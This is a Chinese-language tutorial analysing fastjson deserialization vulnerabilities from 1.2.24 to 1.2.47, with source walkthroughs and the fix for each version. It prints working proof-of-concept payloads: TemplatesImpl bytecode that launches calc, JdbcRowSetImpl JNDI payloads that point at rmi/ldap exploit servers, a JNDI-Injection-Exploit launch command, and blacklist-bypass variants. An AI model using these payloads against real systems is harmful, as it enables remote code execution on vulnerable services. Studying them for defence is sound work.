基本知识 fastjson是一个阿里巴巴的开源库,用于对JSON格式的数据进行解析和打包
简单使用 添加依赖 Maven项目添加依赖
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.58</version > </dependency >
如果出现com.alibaba:fastjson:pom:1.2.58 failed to transfer from
等错误,在pom.xml中添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <repositories > <repository > <id > maven-ali</id > <url > https://maven.aliyun.com/nexus/content/repositories/central</url > <releases > <enabled > true</enabled > </releases > <snapshots > <enabled > true</enabled > <updatePolicy > always</updatePolicy > <checksumPolicy > fail</checksumPolicy > </snapshots > </repository > </repositories >
参考:仓库服务 (aliyun.com)
序列化与反序列化 构建Person和Person1类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package FastJson;public class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } @Override public String toString () { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
Person1类:(在声明成员变量时不一致,其他都是一致的)
1 2 3 4 @JSONField(name = "user_name") private String name;@JSONField(name = "user_age") private int age;
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package FastJson;import com.alibaba.fastjson.*;public class fastjsonTest { public static void main (String[] args) { Person person = new Person ("mike" , 18 ); String personString = JSON.toJSONString(person); System.out.println(personString); String str = "{\"name\":\"lucy\",\"age\":18}" ; Person person1 = JSON.parseObject(str, Person.class); System.out.println(person1.toString()); String str1 = "{\"user_name\":\"YYY\", \"user_age\":18}" ; Person1 person11 = JSON.parseObject(str1, Person1.class); System.out.println(person11.toString()); } }
运行结果:
1 2 3 {"age" :18 ,"name" :"mike" } Person{name='lucy' , age=18 } Person{name='YYY' , age=18 }
结果分析:
在Java对象序列化成字符串的过程中,输出的结果age在name之前:在fastjson
中,默认情况下,生成的JSON
字符串的顺序是按照属性的字母顺序 进行,而不是按照属性在类中的声明顺序。
@type使用 @type
是fastjson
中的一个特殊注解,用于标识JSON
字符串中的某个属性是一个Java
对象的类型。具体来说,当fastjson
从JSON
字符串反序列化为Java
对象时,如果JSON
字符串中包含@type
属性,fastjson
会根据该属性的值来确定反序列化后的Java
对象的类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package FastJson;import com.alibaba.fastjson.*;import com.alibaba.fastjson.parser.ParserConfig;import java.io.IOException;public class fastjsonTest { public static void main (String[] args) throws IOException { String json = "{\"@type\":\"java.lang.Runtime\"}" ; ParserConfig.getGlobalInstance().addAccept("java.lang" ); Runtime runtime = (Runtime) JSON.parseObject(json, Object.class); runtime.exec("calc.exe" ); } }
fastjson在1.2.24之后默认禁用Autotype,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");
来开启,否则会报错autoType is not support
反序列化函数的区别 在字符串反序列化成对象时存在3个方法,分别如下:
parseObject(Stringtext)
parse (Stringtext)
parseObject(String text, Class clazz)
知识点一
使用方法2或3解析json字符串,程序最终都会走到com/alibaba/fastjson/util/JavaBeanInfo
的bulid方法,其调用链如下图:
两者的调用链是完全一样的,不同点在于build方法中传入的classz来源不一致:
parse (Stringtext):传入的clazz参数获取于json字符串中@type字段的值
获取的相关代码在com/alibaba/fastjson/parser/DefaultJSONParser
的parseObject方法
1 2 3 4 5 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"' ); Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); ... }
parseObject(String text, Class clazz):传入的classz参数获取于第二个参数
知识点二
在com/alibaba/fastjson/util/JavaBeanInfo
的bulid方法中会对传入的json字符串进行解析,会创建一个filedList数组来存放后续将要处理的目标类的setter方法及某些特定条件下的getter方法
getter方法收集条件:
知识点三
parseObject(Stringtext) 方法与其他两个方法不同,它先执行了parse方法,然后通过JSON.toJSON转换成了JSONObject对象
1 2 3 4 5 6 7 8 public static JSONObject parseObject (String text) { Object obj = parse(text); if (obj instanceof JSONObject) { return (JSONObject) obj; } return (JSONObject) JSON.toJSON(obj); }
在JSON.toJSON中调用了javaBeanSerializer.getFieldValuesMap方法记录了所有的getter方法
1 2 3 4 5 6 7 JSONObject json = new JSONObject ();try { Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject); for (Map.Entry<String, Object> entry : values.entrySet()) { json.put(entry.getKey(), toJSON(entry.getValue())); } }
1 2 3 4 5 6 7 8 9 public Map<String, Object> getFieldValuesMap (Object object) throws Exception { Map<String, Object> map = new LinkedHashMap <String, Object>(sortedGetters.length); for (FieldSerializer getter : sortedGetters) { map.put(getter.fieldInfo.name, getter.getPropertyValue(object)); } return map; }
最后在FieldInfo的get方法中通过反射调用了所有的getter方法
1 2 3 4 5 6 7 8 public Object get (Object javaObject) throws IllegalAccessException, InvocationTargetException { if (method != null ) { Object value = method.invoke(javaObject, new Object [0 ]); return value; } return field.get(javaObject); }
调用栈:
知识点四
如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
Fastjson默认只会反序列化public修饰的属性
参考:Fastjson 1.2.24反序列化漏洞深度分析 - 知乎 (zhihu.com)
漏洞复现 <=fastjson1.2.24(CVE-2017-18349) fastjson<=1.2.24 反序列化漏洞 ,JDK版本无限制
环境 Maven依赖:
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
测试 1 2 3 4 5 6 7 8 9 10 11 12 13 package FastJson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class CveTest1 { public static void main (String[] args) { ParserConfig config = new ParserConfig (); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}" ; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
其中_bytecodes中的内容是下面内容编译成class文件后进行base64编码后得到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test () throws IOException { Runtime.getRuntime().exec("calc" ); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform (DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main (String[] args) throws Exception { Test t = new Test (); } }
利用链:
1 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
这是后半段的利用链,触发的方法是getOutputProperties,这是TemplatesImpl类中的一个getter方法,主要获取_outputProperties属性
而前半部分的调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339, JSON (com.alibaba.fastjson) parseObject:302, JSON (com.alibaba.fastjson) main:10, CveTest1 (FastJson)
另外在parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
中存在解析json字符串的代码,并且收集符合要求的getter函数,getOutputProperties就是其中的一个
1 2 ObjectDeserializer deserializer = config.getDeserializer(clazz);return deserializer.deserialze(this , clazz, fieldName);
第一句代码在367行,一直步入到JavaBeanInfo类中的build函数就是收集getter方法的函数
其调用栈如下
1 2 3 4 5 6 7 8 9 10 11 build:130 , JavaBeanInfo (com.alibaba.fastjson.util) createJavaBeanDeserializer:526 , ParserConfig (com.alibaba.fastjson.parser) getDeserializer:461 , ParserConfig (com.alibaba.fastjson.parser) getDeserializer:312 , ParserConfig (com.alibaba.fastjson.parser) parseObject:367 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327 , DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45 , JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639 , DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339 , JSON (com.alibaba.fastjson) parseObject:302 , JSON (com.alibaba.fastjson) main:10 , CveTest1 (FastJson)
为什么_bytecodes需要base64编码
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 bytesValue:112 , JSONScanner (com.alibaba.fastjson.parser) deserialze:136 , ObjectArrayCodec (com.alibaba.fastjson.serializer) parseArray:723 , DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:177 , ObjectArrayCodec (com.alibaba.fastjson.serializer) parseField:71 , DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327 , DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45 , JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639 , DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339 , JSON (com.alibaba.fastjson) parseObject:302 , JSON (com.alibaba.fastjson) main:10 , CveTest1 (FastJson)
其中bytesValue函数
1 2 3 public byte [] bytesValue() { return IOUtils.decodeBase64(text, np + 1 , sp); }
在代码逻辑中,字段的值从String恢复成byte[]
,会经过一次base64解码 。这是应该是fastjson在传输byte[]
中做的一个内部规定。序列化时应该也会对byte[]自动base64编码
要调用TemplatesImple类的getOutputProperties方法,但是为什么是_outputProperties
字段,多了一个_
?
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 smartMatch:807 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:724 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184 , JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327 , DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45 , JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639 , DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339 , JSON (com.alibaba.fastjson) parseObject:302 , JSON (com.alibaba.fastjson) main:10 , CveTest1 (FastJson)
其中smartMatch函数中将_
替换成空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (fieldDeserializer == null ) { boolean snakeOrkebab = false ; String key2 = null ; for (int i = 0 ; i < key.length(); ++i) { char ch = key.charAt(i); if (ch == '_' ) { snakeOrkebab = true ; key2 = key.replaceAll("_" , "" ); break ; } else if (ch == '-' ) { snakeOrkebab = true ; key2 = key.replaceAll("-" , "" ); break ; } } ... }
修复 对@type标签的值进行了黑名单和白名单的限制,即使用了checkAutoType函数处理@type中的值
参考 JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
从0到1的fastjson的反序列化漏洞分析 - 先知社区 (aliyun.com)
【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇) (qq.com)
fastjson1.2.25-1.2.41 前置知识 知识点1
fastjson1.2.25版本加入了黑白名单机制,具体黑名单如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
检测函数是com.alibaba.fastjson.parser.ParserConfig
中的checkAutoType函数
如果开启了autoType:先判断类名是否在白名单中,如果匹配成功就使用TypeUtils.loadClass加载;如果不在则去匹配黑名单,在黑名单中则抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 final String className = typeName.replace('$' , '.' );if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); }
如果没有开启autoType:先判断是否在黑名单中,如果不在再去判断是否在白名单中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } }
最后如果黑名单和白名单都没有匹配,若开启了autoType或者expectClass不为空(指定了Class对象)时,才会调用TypeUtils.loadClass,否则不加载
1 2 3 if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); }
进入loadClass函数,其含义是:如果类名以[
开头,则表示该类是一个数组类型,递归调用loadClass来加载数组元素中的Class对象,并且使用Array.newInstance创建一个空数组对象并返回该数组对象的Class对象;
如果类名以L
开头并且以;
结尾,表示该类是一个普通的Java类,去掉L
和;
再递归调用loadClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } try { if (classLoader != null ) { clazz = classLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable e) { e.printStackTrace(); }
知识点2
autoType是默认禁用的,开启的方式有以下3种:
1 2 3 4 5 1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb." );或者ParserConfig.getGlobalInstance().setAutoTypeSupport(true );2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.example. 3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.example.
环境 Maven依赖、JDK8u66下
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.25</version > </dependency >
下载https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0,启动工具
1 "C:\Program Files\Java\jdk1.8 .0 _66\bin\java.exe" -jar .\JNDI-Injection-Exploit-1 .0 -SNAPSHOT-all.jar -A 127 .0 .0 .1 -C "calc.exe"
测试 POC
1 2 3 4 5 6 7 8 9 10 11 package FastJson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class POC { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/tre2da\", \"autoCommit\":true}" ; JSON.parse(payload); } }
为什么这样构造
还是一样的目的,要绕过checkAutoType函数,就不能够被黑名单拦截,所以在前面加一个L就能解决问题,当然这个L也不是乱加的,因为后面有代码进行处理(执行这段代码也需要开启autoType)
1 2 3 if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); }
进入到loadClass函数中,有这样一段处理代码
1 2 3 4 if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); }
满足以L
开头,以;
结尾,就能够剔除掉返回我们想要的类名,然后再迭代执行loadClass,返回我们想要的clazz,执行栈如下
1 2 3 4 5 6 7 8 9 loadClass:1110 , TypeUtils (com.alibaba.fastjson.util) [2 ] loadClass:1091 , TypeUtils (com.alibaba.fastjson.util) [1 ] checkAutoType:861 , ParserConfig (com.alibaba.fastjson.parser) parseObject:322 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293 , DefaultJSONParser (com.alibaba.fastjson.parser) parse:137 , JSON (com.alibaba.fastjson) parse:128 , JSON (com.alibaba.fastjson) main:25 , POC (FastJson)
当然,由于loadClass是迭代的,不管加几层L
和;
都能解析,也可以加[
,下面这个payload也适用
1 "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}"
在loadClass函数中同样有处理[
的代码
1 2 3 4 if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); }
JdbcRowSetImpl链的利用
在前面分析得到,根据我们传递的类名得到反序列化器会经过JavaBeanInfo的build函数,会收集所有的setter方法,接下就是逐一调用相关字段的set方法
这里关注JdbcRowSetImpl
类的setAutoCommit()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void setAutoCommit (boolean autoCommit) throws SQLException { if (conn != null ) { conn.setAutoCommit(autoCommit); } else { conn = connect(); conn.setAutoCommit(autoCommit); } }
它调用了本类的connect方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 private Connection connect () throws SQLException { if (conn != null ) { return conn; } else if (getDataSourceName() != null ) { try { Context ctx = new InitialContext (); DataSource ds = (DataSource)ctx.lookup (getDataSourceName()); if (getUsername() != null && !getUsername().equals("" )) { return ds.getConnection(getUsername(),getPassword()); } else { return ds.getConnection(); } } catch (javax.naming.NamingException ex) { throw new SQLException (resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else if (getUrl() != null ) { return DriverManager.getConnection (getUrl(), getUsername(), getPassword()); } else { return null ; } }
关键代码在于Context ctx = new InitialContext();
和DataSource ds = (DataSource)ctx.lookup(getDataSourceName());
要执行到这里需要满足以下条件
conn != null
getDataSourceName() != null
setDataSourceName方法中设置了dataSource并且conn=null,同时满足这两个条件,而setDataSourceName方法会在解析dataSourceName参数是调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void setDataSourceName (String dsName) throws SQLException{ if (getDataSourceName() != null ) { if (!getDataSourceName().equals(dsName)) { super .setDataSourceName(dsName); conn = null ; ps = null ; rs = null ; } } else { super .setDataSourceName(dsName); } }
修复 把黑名单明文修改成黑名单hash;
在checkAutoType函数先进行一轮首尾是否为L
和;
的判断,若是则去除首尾再进行黑名单匹配
fastjson1.2.42 前置知识 黑名单hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 denyHashCodes = new long []{ -8720046426850100497L , -8109300701639721088L , -7966123100503199569L , -7766605818834748097L , -6835437086156813536L , -4837536971810737970L , -4082057040235125754L , -2364987994247679115L , -1872417015366588117L , -254670111376247151L , -190281065685395680L , 33238344207745342L , 313864100207897507L , 1203232727967308606L , 1502845958873959152L , 3547627781654598988L , 3730752432285826863L , 3794316665763266033L , 4147696707147271408L , 5347909877633654828L , 5450448828334921485L , 5751393439502795295L , 5944107969236155580L , 6742705432718011780L , 7179336928365889465L , 7442624256860549330L , 8838294710098435315L };
常用的包是有限的,这可以通过hash碰撞来爆破,具体参考:LeadroyaL/fastjson-blacklist (github.com)
分析checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 final long BASIC = 0xcbf29ce484222325L ;final long PRIME = 0x100000001b3L ;if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { className = className.substring(1 , className.length() - 1 ); } final long h3 = (((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME) ^ className.charAt(2 )) * PRIME; if (autoTypeSupport || expectClass != null ) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException ("autoType is not support. " + typeName); } } }
双写L
和;
即可绕过
环境 Maven依赖、JDK8u66下
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.42</version > </dependency >
测试 POC
1 2 3 4 5 6 7 8 9 10 11 package FastJson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class POC { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/tre2da\", \"autoCommit\":true}" ; JSON.parse(payload); } }
修复 在checkAutoType加了一个判断,只要以LL
开头则报异常
fastjson1.2.43 前置知识 分析checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME == 0x9195c07b5af5345L ) { throw new JSONException ("autoType is not support. " + typeName); } className = className.substring(1 , className.length() - 1 ); }
可以使用[
进行绕过
环境 Maven依赖、JDK8u66下
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.43</version > </dependency >
测试 1 2 3 4 5 6 7 8 9 10 11 package FastJson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class POC { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/tre2da\", \"autoCommit\":true}" ; JSON.parse(payload); } }
修复 对[
进行了限制
fastjson1.2.44 限制[
前置知识 分析checkAutoType
1 2 3 4 5 6 7 8 9 10 final long h1 = (BASIC ^ className.charAt(0 )) * PRIME;if (h1 == 0xaf64164c86024f1aL ) { throw new JSONException ("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { throw new JSONException ("autoType is not support. " + typeName); }
在这里限制的很严格了
利用方式只能使用下面通杀payload
fastjson1.2.45-46 补充黑名单
fastjson1.2.25-1.2.47通杀 mappings缓存导致反序列化漏洞
环境 Maven依赖、JDK8u66下
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.25</version > </dependency >
测试 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package FastJson;import com.alibaba.fastjson.JSON;public class POC { public static void main (String[] args) { String payload = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://127.0.0.1:1389/tre2da\",\n" + " \"autoCommit\":true\n" + " }\n" + "}" ; JSON.parse(payload); } }
为什么要这样构造:
在没有开启autoType的时候,需要在if (!autoTypeSupport)
之前将类返回,否则过不了黑名单,即务必在下面代码中返回clazz
